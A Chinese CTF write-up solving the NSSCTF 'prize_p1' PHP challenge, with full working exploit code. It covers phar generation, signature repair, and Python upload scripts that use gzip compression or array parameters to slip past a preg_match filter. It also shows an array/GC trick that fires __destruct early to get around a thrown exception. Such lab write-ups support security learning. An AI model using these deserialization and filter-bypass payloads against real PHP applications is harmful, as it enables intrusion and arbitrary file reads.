前言
之前做了p5 才知道还有p1到p4
遂来做一下
顺便复习一下反序列化
prize_p1
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag
{
function __destruct()
{
echo getenv("FLAG");
}
}
class A
{
public $config;
function __destruct()
{
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
这里定义两个类
第一个类可以通过触发_destruct()得到flag
第二个类可以实现文件读写的功能
可以传两个变量 一个post一个get
因为get里面正则匹配过滤了getflag 我们没法用get传参直接反序列化触发getflag类
但是可以利用post 上传phar文件 再用phar协议读取
就可以反序列化class getflag
从而触发__destruct()魔术方法 echo flag
那么我们第一步先生成phar文件
<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上
class getflag // 定义一个名为 Testobj 的类
{
// 声明一个属性 $output,初始值为空字符串
}
@unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('test.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering(); // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件
但是post里面也过滤了getflag
生成的phar文件里面还是包含getflag明文
类比之前做过一题phar反序列化 只要把
phar文件打成压缩包
(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)
传输进去的就是二进制流乱码 就可以绕过正则匹配
写个脚本上传一下
import requests
import re
import gzip
url="http://node4.anna.nssctf.cn:28134/"
### 先将phar文件变成gzip文件
with open("./1.phar",'rb') as f1:
phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
phar_zip.writelines(f1) #将phar文件的二进制流写入
phar_zip.close()
###写入gzip文件
with open("gzip.zip",'rb') as f2:
data1={0:f2.read()} #利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1,data=data1)
### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)
最后返回的结果为空
再回去看这个代码
要绕过这个异常
绕过异常
在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为
a:2:{i:0;O:7:"getflag":{}i:0;N;}
怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。
重新生成phar文件
<?php
highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上
class getflag // 定义一个名为 Testobj 的类
{
// 声明一个属性 $output,初始值为空字符串
}
@unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
$phar = new Phar('p1.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
$phar->startBuffering(); // 开始写入 PHAR 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
$o = new getflag(); // 创建了一个 Testobj 类的实例
$o = array(0=>$o,1=>null);
$phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
$phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
$phar->stopBuffering(); // 停止写入 PHAR 文件
但是我们一旦更改phar里的内容就要修改它的签名
修复签名的代码
from hashlib import sha1
f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件
再运行一下
import requests
import re
import gzip
url="http://node4.anna.nssctf.cn:28134/"
### 先将phar文件变成gzip文件
with open("./ph2.phar",'rb') as f1:
phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
phar_zip.writelines(f1) #将phar文件的二进制流写入
phar_zip.close()
###写入gzip文件
with open("gzip.zip",'rb') as f2:
data1={0:f2.read()} #利用gzip后全是乱码绕过
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1,data=data1)
### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
print(flag)
成功得到flag
看别的wp又学到这里用数组的话 不压缩也可以绕过正则
import requests
import re
url="http://node4.anna.nssctf.cn:28134/"
### 写入phar文件
with open("ph2.phar",'rb') as f:
data1={'0[]':f.read()} #传数组绕过,值就是hacker1.phar文件的内容
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
res1 = requests.post(url=url, params=param1,data=data1)
### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)
原理如下:
preg_match与file_put_contents(php函数特性利用)
前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写
最后
总结一下这题的知识点
__destruct触发
对象的析构函数在对象被销毁时触发,对象被销毁的情况
正常销毁:
当整个程序生命周期结束前会销毁所有的对象
可以看到 在整个程序执行完后才触发了__destruct()魔术方法
手动释放变量销毁
使用unset函数释放变量
在程序执行完之前我们手动释放了变量
触发__destruct()魔术方法
gc回收未引用变量
面向对象的语言内部都有gc机制,来回收没有被引用的变量,所以这个时候也会触发__destruct
创建时就未被引用
这里创建对象的时候没有用变量来接收引用,所以也在echo "lll\n"之前就被gc回收触发析构函数
创建后人为消除引用
这里对象创建的时候是$a这个数组里面0索引指向引用的,在10行改变0索引指向null,这样就使得a的对象没有任何引用,所以也会在11行执行前,被gc回收销毁触发析构函数
这题就是用这个方法提前触发这个析构函数 从而绕过最后一行的抛出异常
preg_match与file_put_contents(php函数特性利用)
前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写